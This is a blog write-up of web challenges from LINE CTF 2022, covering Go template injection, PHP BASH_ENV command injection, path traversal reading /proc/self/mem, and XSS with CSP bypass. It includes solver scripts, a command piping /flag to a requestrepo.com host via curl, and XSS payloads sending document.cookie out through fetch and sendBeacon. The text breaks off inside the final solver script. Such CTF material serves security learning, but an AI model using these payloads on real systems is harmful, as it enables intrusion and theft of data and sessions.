LINE CTF 2022
I really enjoyed the web challenges at the LINE CTF 2022, we managed to solve all of them except for me7-ball
.
We did pretty well considering that fact that we were only 4 playing. We got 8th place:
- gotm (102) - 96 solves
- Memo Drive (147) - 42 solves
- bb (179) - 27 solves
- online library (210) - 19 solves
- Haribote Secure Note (322) - 7 solves
- title todo (341) - 6 solves
gotm (102) - 96 solves
Description
nya~
http://34.146.226.125/
Web application writen in Go. The logic of the application is pretty simple: we can auth, regist, show a "Logged in as" message in case we're logged in and get the flag if we're admin.
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
As we can see from the above function, our acc.id is appended before the template is parsed, that means we have template injection. We can get more information about tpl from here.
As we can see from this example:
type Inventory struct {
Material string
Count uint
}
sweaters := Inventory{"wool", 17}
tmpl, err := template.New("test").Parse("{{.Count}} items are made of {{.Material}}")
if err != nil { panic(err) }
err = tmpl.Execute(os.Stdout, sweaters)
if err != nil { panic(err) }
We can get the values of Count and Material from the Inventory struct using that syntax. This is our Account struct:
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
Every account instance also has the secret_key that is being used to sign all the JWT tokens. That means having acc.id = {{.secret_key}}
should give us the secret_key, right?
Well, not quite. When we try that we get an empty string as a result:
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 05:00:18 GMT
Content-Length: 13
Content-Type: text/plain; charset=utf-8
Connection: close
Logged in as
One difference between the example and our case is that in the example sweaters
is being passed by value, while in our case acc
is being passed by address.
Before looking more into the documentation, we should ask ourselves what would happen if instead of {{.Field}}
we would just pass {{.}}
to the template engine?
We can easily test that:
GET /regist?id={{.}}&pw=123 HTTP/1.1
Host: 34.146.226.125
=>
GET /auth?id={{.}}&pw=123 HTTP/1.1
Host: 34.146.226.125
=>
GET / HTTP/1.1
Host: 34.146.226.125
X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.rthp4OaE1Iau8Q9PIxoB-F9VGukYpbX1I-GpPPDSGhM
Response:
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 05:05:30 GMT
Content-Length: 54
Content-Type: text/plain; charset=utf-8
Logged in as {{{.}} 123 false fasdf972u1031xu90zm10Av}
Success! We now have the secret_key that was used to sign the JWTs. Now we just need to forge a JWT, because we are provided with the source code with a Dockerfile, it was easiest for me just to replace the secret_key there and login as the admin user with a known password.
GET /flag HTTP/1.1
Host: 34.146.226.125
X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFkbWluIiwiaXNfYWRtaW4iOnRydWV9.wg5aIHGrvj_qjwrM1yiWoB2Ocvg90-CsqTuZTne7TYg
Reponse:
HTTP/1.1 200 OK
Date: Sat, 26 Mar 2022 01:05:59 GMT
Content-Length: 78
Content-Type: text/plain; charset=utf-8
Connection: close
{"status":true,"msg":"Hi admin, flag is LINECTF{country_roads_takes_me_home}"}
LINECTF{country_roads_takes_me_home}
Memo Drive (147) - 42 solves
Description
http://34.146.195.115/
Please check my teammate's writeup at
https://blog.y011d4.com/20220327-line-ctf-writeup/#memo-drive
bb (179) - 27 solves
Description
Read /flag
Server 1: http://34.84.151.109/
Server 2: http://34.84.224.27/
Server 3: http://34.84.94.104/
This is the source code of the application:
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
So we can set any environmental variable we want. We have some restrictions as the variable name can't contain =
and the value cannot contain ASCII letters. Then the script call system on bash -c 'imdude'
string, so bash is being invoked.
The first thing to ask is: if we control the env variables, how can we achieve RCE?
The answer is p6's blog:
https://blog.p6.is/Abusing-Environment-Variables/#bin-bash
As we can see, any command in BASH_ENV that is enclosed into backticks is going to be executed.
Now we need to get rid of ASCII letters restriction. I couldn't find a way to bypass the regex, but we can encode any letter by using the following syntax: $'\101'
, where the number=octal(ascii_code), in this case 0o101=0x41=A. We can test this in our bash shell:
anon@pwnbox:/mnt/c/Users/anon$ $'\101'
A: command not found
As we have no output, we need to exfiltrate the value, we can use that using requestrepo.com + curl/wget
My solver:
import string
import requests
cmd = 'cat /flag | curl -d @- sj87vga3.requestrepo.com'
o = ''
for c in cmd:
if c in string.ascii_letters:
o += f"$'\\{oct(ord(c))[2:]}'"
else:
o += c
r = requests.get(f'http://34.146.113.221/?env[BASH_ENV]=`{o}`')
print(r.text)
And we'll get our callback:
LINECTF{well..what_do_you_think_about}
online library (210) - 19 solves
Description
Some weird book library web is under developing now. http://35.243.100.112/
We are given a docker-compose environment composed of a node.js application and an admin bot that will crawls URLs using puppeteer. This hints to the chall being a XSS challenge and that is helpful to know.
We notice in the report functionality that we cannot report any URL we want, only URLs that belong to the node.js domain. That limits our attack surface to GET requests only unless we find an open redirect.
The insert functionality is interesting:
app.post("/insert", function (req, res) {
if (typeof req.body.title === "string" &&
req.body.title.length < 30 &&
typeof req.body.content === "string" &&
req.body.content.length < 1024 * 256) {
res.end("<script>document.cookie = 'FLAG=REMOVED'</script><h1>".concat(req.body.title, "</h1><hr/>") + req.body.content);
}
else {
res.end("Something wrong with your book title or contents.");
}
});
The notes are not saved, we could make the admin POST to that endpoint as no CSRF is present, but it would also delete the flag so we must look elsewhere.
This is the main vulnerable function:
app.get("/:t/:s/:e", function (req, res) {
var s = Number(req.params.s);
var e = Number(req.params.e);
var t = req.params.t;
if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
res.end("Invalid character in book title.");
}
else {
Fs.stat("public/".concat(t), function (err, stats) {
if (err) {
res.end("No such a book in bookself.");
}
else {
if (s !== NaN && e !== NaN && s < e) {
if ((e - s) > (1024 * 256)) {
res.end("Too large to read.");
}
else {
Fs.open("public/".concat(t), "r", function (err, fd) {
if (err || typeof fd !== "number") {
res.end("Invalid argument.");
}
else {
var buf = Buffer.alloc(e - s);
Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
res.end("<h1>".concat(t, "</h1><hr/>") + buf.toString("utf-8"));
});
}
});
}
}
else {
res.end("There isn't size of book.");
}
}
});
}
});
We can read a file at any offset and with whatever size we want. We think that it would be useful with the insert
functionality somehow, as we could just use offset to get rid of the flag deletion part.
The file name is also echoed, but there are checks on <
>
and the file would have to exist anyway, so low chances.
As it turns out, this function is vulnerable to LFI by using URL encoding:
GET /..%2f..%2f..%2f..%2f..%2fetc%2fpasswd/0/1024 HTTP/1.1
Host: 35.243.100.112
Response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'unsafe-inline'
Content-Type: text/html; charset=utf-8
Date: Mon, 28 Mar 2022 05:51:31 GMT
Connection: close
Content-Length: 1063
<h1>../../../../../etc/passwd</h1><hr/>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
We also find out that we have access to /proc/self
and we can get environ
. It even leaks SECRET=c0a4e6040a95482aac99f68e5f78bb107bdee0d0
which we could use to craft sessions.
Now this would be great if the sessions were stored on disk. As it turns out express-session
saves the sessions in memory so we cross off this possibility.
We should pay more attention to how the file is read:
Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
res.end("<h1>".concat(t, "</h1><hr/>") + buf.toString("utf-8"));
});
One neat thing about that is we can read /proc/self/mem
by knowing the memory layout, we can find the memory layout by getting /proc/self/maps
GET /..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmaps/0/12345 HTTP/1.1
Host: 35.243.100.112
Response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'unsafe-inline'
Content-Type: text/html; charset=utf-8
Date: Mon, 28 Mar 2022 07:22:41 GMT
Connection: close
Content-Length: 12388
<h1>../../../../../proc/self/maps</h1><hr/>00400000-04899000 r-xp 00000000 08:01 545155 /usr/local/bin/node
04a99000-04a9c000 r--p 04499000 08:01 545155 /usr/local/bin/node
04a9c000-04ab4000 rw-p 0449c000 08:01 545155 /usr/local/bin/node
04ab4000-04ad5000 rw-p 00000000 00:00 0
053d6000-0631d000 rw-p 00000000 00:00 0 [heap]
The interesting data would definitely by in the heap.
Let's create a script that will search the heap for a given string:
import requests
heap_start = 0x053d6000
heap_end = 0x0631d000
while heap_start < heap_end:
burp0_url = f"http://35.243.100.112/..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmem/{heap_start}/{heap_start + 262144}"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "If-None-Match": "W/\"316-SE2umwrLqJpIs0T51/cmKIv1+Tw\"", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers)
if ('flag.6b3om2ce.requestrepo.com' in r.text):
idx = r.text.index('flag.6b3om2ce.requestrepo.com') - 1500
print(heap_start + idx, heap_start + idx + 2500)
heap_start += 262144
We can then insert our xss payload in the /identify
endpoint (or to solve this faster, just search for LINECTF{ lol):
POST /identify HTTP/1.1
Host: 35.243.100.112
Content-Length: 143
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: FLAG=REMOVED; connect.sid=s%3AVS1exQnpyarqiYggEkn_K9hBMpxjGOVg.pEHK5Mjoam%2BfiIT%2BunpjuLO39jGQyQkMj7IpHoOUjlI
Connection: close
username=test&test=<script>navigator.sendBeacon('//'+document.cookie.substr(13,100).replace('}','')+'.flag.6b3om2ce.requestrepo.com');</script>
As a side note: I only used fetch and sendBeacon and only ever got the DNS request, as it turns out I could've used location='requestrepo.com/'+document.cookie
to get the HTTP request but oh well.
The script will output the start value and end value. We can test that it actually works:
We then just have to copy the values and send the URL to the admin:
And we get the DNS request:
LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}
Haribote Secure Note (322) - 7 solves
Description
I LOVE MODERN FEATURES! MODERN IS THE SUPREME!! http://34.146.54.23/
We are given a docker-compose environment composed of a python flask application and an admin bot that will crawls URLs using puppeteer. This hints to the chall being a XSS challenge.
What is special about this challenge is that the template does not html escape our inputs, like at all.
In index.j2 it is appending the notes directly in javascript:
<script nonce="{{ csp_nonce }}">
// ...
render({{ notes }})
</script>
So because values are not html escaped, we can just break out of that script tag by inserting a note that contains </script>
, not that we cannot break out of the render function as the notes is a valid python dictionary so there's no escape to strings.
Now that we broke out of script, let's see what we can do. This is our CSP:
<meta content="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-DI09zGO1pKzW2r58L81h8i7ocVE='
'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default"
http-equiv="Content-Security-Policy">
CSP evaluator:
It seems pretty safe. However the CSP is not applied on all pages! The /profile
page has no CSP.
But the name is limited to only 16 characters, we can't escape input and steal cookie with that few.
We also notice that the admin has an additional script tag:
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = "{{ shared_user_name }}";
// ...
}
</script>
And we control shared_user_name!, that means we have 16 characters to escape the " string and to insert our payload. Eval would not work as no unsafe-eval is defined in the CSP.
Action plan: insert an iframe into the page that points to /profile
, as the profile page has no CSP and is same origin we can execute any javascript we want and steal the cookie that way!
We've also learned that if we give an iframe a name, then the window object of that iframe will be assigned to a variable with the same name in our window. So for <iframe name='a'></iframe>
the window of that iframe is just a
in our window, which is really helpful with our exploit.
So our first part of the payload is ";a.eval()//
which is 12 chars long, we get 4 more for a payload. We can't use name
as we don't redirect the admin to our site. But what we can do is DOM clobbering.
So we can DOM clobbering in order to feed a value for eval. Fun fact about <a>
and <area>
tags is that their toString() is their href attribute (more or less, it needs to have a protocol). Also tags are totally a thing in javascript so abc:alert()
is legit javascript.
We know that we can directly get elements by their Id, so we just need to insert an <a id="m" href=abc:payload>
and cast toString on the m variable.
Our shared_user_name
becomes: ";a.eval(""+m)//
which is exactly 16 characters.
In order to get the flag we must insert these notes in order:
first note
title: any
content: </script>
second note
title: any
content: <iframe src=/profile id=b name=a></iframe>
final note
title: any
content: <a id="m" href=abc:fetch("//"+document.cookie.substr(13).replaceAll("_",".").replace("}","")+".6b3om2ce.requestrepo.com");></a>
Fetch and sendBeacon didn't send any HTTP request, only DNS.
Reporting our notes to the admin we get this DNS request (yes I know location=
is a thing but oh well):
LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}
title todo (341) - 6 solves
Description
I'm planning to release a novel, picture-based private diary service. Could you test our public beta release?
Flag: LINECTF{([0-9a-f]/){10}} (e.g. LINECTF{0/1/2/3/4/5/6/7/8/9/})
http://35.187.204.223/
We are given a docker-compose environment composed of a python flask application and an admin bot that will crawls URLs using puppeteer. This hints to the chall being a client-side challenge. Also, the flag is in a weird format and that might point to the fact that we just need to leak the flag, not to get XSS on the admin.
The vulnerability is in the image.html file:
{% extends "base.html" %}
{% block content %}
<div class="title is-3">{{ image.title }}</div>
<img src={{ image.url }} class="mb-3">
<input hidden id="imgId" value="{{ image.id }}">
{% if not shared %}
<div class="control">
<button id="shareButton" class="button is-success">Share (to admin)</button>
</div>
{% endif %}
<script src="/static/script/main.js"></script>
{% endblock content %}
As we can see, there are no quotes around src={{ image.url }}
so we can add attributes to the img. We can't escape the img tag as all special characters are html encoded. Also, because of the strict CSP we cannot do any onevent XSS.
We were a bit stuck on this one, but a teammate (y011d4) pointed out that the puppeteer launch had this one extra argument: "--window-size=1440,900"
which would point out that we could maybe leak the flag based on the content size.
We also noticed that the images uploaded were being cached by nginx, as X-Cache-Status
header would return status about cache. We can use that to get a boolean type of exfiltration of the flag. If a character from the flag is leaked it would return HIT else it would return MISS.
We just need to find out how to leak the characters.
One idea we had was using srcset with sizes, as sizes allows media-queries. But that wasn't useful at all, since media-queries are more about the browser and less about the contents.
At this point I modified the local source in order to see what the admin was able to see, this is how the flag was displayed on the page:
Then another teammate (Qyn) reminded us of a trick he used in a CTF to get an unintended solution: apparently chrome has #:~:text=
which you can append to a URL and it will scroll to the first occurence of that string in the page. It doesn't scroll if you only match a part of a word, but apparently /
is a word breaker same as space.
So we can send the admin our posts and end with #:~:text=LINECTF{ + character + /
. On a good prediction the text would get highlighted and scroll, and if the prediction was bad then it wouldn't.
Then I had the idea to put a lot of characters in the title, this is what the admin would've seen if our prediction was wrong:
And this is what the admin would see if we correctly guessed the character:
We can see that we scroll down to the image! so we can use attributes like preload=lazy
and loading=lazy
in order to only load the image when it is being shown on the screen. With that + using a ?unique_id
parameter at the end of each image for each post (just to make sure the image wasn't cached before), we can build a script that:
For each letter in the alphabet 0-9a-f
create a post with a ?unique_id
, share the post to the admin and end it with #:~:text=LINECTF{ + character + /
, wait a few seconds and then check the image?unique_id
, if X-Cache-Status
is HIT
then we guessed the right character.
My solver script:
import requests
def get_cache_hit(cache_buster=''):
import requests
burp0_url = f"http://35.187.204.223:80/static/image/6b29849c32e448daa28d6dae43d42015.png?{cache_buster}"
burp0_cookies = {"session": ".eJwlzrsNwzAMANFdWKeQKYofL2OIooikteMqyO4RkAEe7j5w5DmvJ-zv854POF4BOyChVg_tU9Sst5TwiBLSWdCUjUSdRump6cwYQZzoalKtaS2Vlm5sZaoyD5mpXMaiIc5eY1ZEI2xlo8LIskIDu8RIzujNYI3c1zz_NxsKfH_zVy8p.Yj8kaw.q9MjPqCK1p6JA26RsaPhNHFQx2c"}
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
return r.headers['X-Cache-Status'] == 'HIT'
def post_payload(cache_buster=''):
import requests
burp0_url = "http://35.187.204.223:80/image"
burp0_cookies = {"session": ".eJwlzrsNwzAMANFdWKeQKYofL2OIooikteMqyO4RkAEe7j5w5DmvJ-zv854POF4BOyChVg_tU9Sst5TwiBLSWdCUjUSdRump6cwYQZzoalKtaS2Vlm5sZaoyD5mpXMaiIc5eY1ZEI2xlo8LIskIDu8RIzujNYI3c1zz_NxsKfH_zVy8p.Yj8kaw.q9MjPqCK1p6JA26RsaPhNHFQx2c"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://35.187.204.223", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://35.187.204.223/image", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"title": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa